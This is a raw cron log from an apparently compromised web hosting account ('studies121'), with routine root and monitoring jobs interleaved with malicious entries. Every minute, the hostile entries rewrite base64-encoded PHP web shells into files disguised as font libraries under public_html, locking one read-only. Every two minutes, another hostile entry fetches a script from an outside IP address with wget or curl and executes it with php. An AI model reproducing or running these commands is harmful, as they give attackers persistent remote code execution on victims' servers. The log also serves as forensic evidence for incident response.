Aug 31 15:17:01 ip-184-168-122-23 CROND[20407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:18:01 ip-184-168-122-23 CROND[20511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:18:01 ip-184-168-122-23 CROND[20512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:18:01 ip-184-168-122-23 CROND[20513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:18:01 ip-184-168-122-23 CROND[20515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:18:01 ip-184-168-122-23 CROND[20517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:19:01 ip-184-168-122-23 CROND[20605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:19:01 ip-184-168-122-23 CROND[20607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:19:01 ip-184-168-122-23 CROND[20606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:19:01 ip-184-168-122-23 CROND[20608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:20:01 ip-184-168-122-23 CROND[20701]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:20:01 ip-184-168-122-23 CROND[20702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:20:01 ip-184-168-122-23 CROND[20703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:20:01 ip-184-168-122-23 CROND[20704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:20:01 ip-184-168-122-23 CROND[20709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:20:01 ip-184-168-122-23 CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:20:01 ip-184-168-122-23 CROND[20710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:20:01 ip-184-168-122-23 CROND[20711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:20:01 ip-184-168-122-23 CROND[20716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:21:01 ip-184-168-122-23 CROND[20810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:21:01 ip-184-168-122-23 CROND[20812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:21:01 ip-184-168-122-23 CROND[20813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:21:01 ip-184-168-122-23 CROND[20814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:22:01 ip-184-168-122-23 CROND[20916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:22:01 ip-184-168-122-23 CROND[20920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:22:01 ip-184-168-122-23 CROND[20919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:22:01 ip-184-168-122-23 CROND[20918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:22:01 ip-184-168-122-23 CROND[20921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:23:01 ip-184-168-122-23 CROND[21083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:23:01 ip-184-168-122-23 CROND[21084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:23:01 ip-184-168-122-23 CROND[21087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:23:01 ip-184-168-122-23 CROND[21086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:24:01 ip-184-168-122-23 CROND[21175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:24:01 ip-184-168-122-23 CROND[21177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:24:01 ip-184-168-122-23 CROND[21178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:24:01 ip-184-168-122-23 CROND[21179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:24:01 ip-184-168-122-23 CROND[21180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:25:01 ip-184-168-122-23 CROND[21285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:25:01 ip-184-168-122-23 CROND[21287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:25:01 ip-184-168-122-23 CROND[21288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:25:01 ip-184-168-122-23 CROND[21291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:25:01 ip-184-168-122-23 CROND[21292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:25:01 ip-184-168-122-23 CROND[21293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:26:01 ip-184-168-122-23 CROND[21382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:26:01 ip-184-168-122-23 CROND[21384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:26:01 ip-184-168-122-23 CROND[21385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:26:02 ip-184-168-122-23 CROND[21387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:26:02 ip-184-168-122-23 CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:27:01 ip-184-168-122-23 CROND[21477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:27:01 ip-184-168-122-23 CROND[21479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:27:01 ip-184-168-122-23 CROND[21480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:27:01 ip-184-168-122-23 CROND[21481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:28:01 ip-184-168-122-23 CROND[21572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:28:01 ip-184-168-122-23 CROND[21575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:28:01 ip-184-168-122-23 CROND[21576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:28:01 ip-184-168-122-23 CROND[21574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:28:01 ip-184-168-122-23 CROND[21577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:29:01 ip-184-168-122-23 CROND[21741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:29:01 ip-184-168-122-23 CROND[21743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:29:01 ip-184-168-122-23 CROND[21745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:29:01 ip-184-168-122-23 CROND[21744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:30:01 ip-184-168-122-23 CROND[21838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
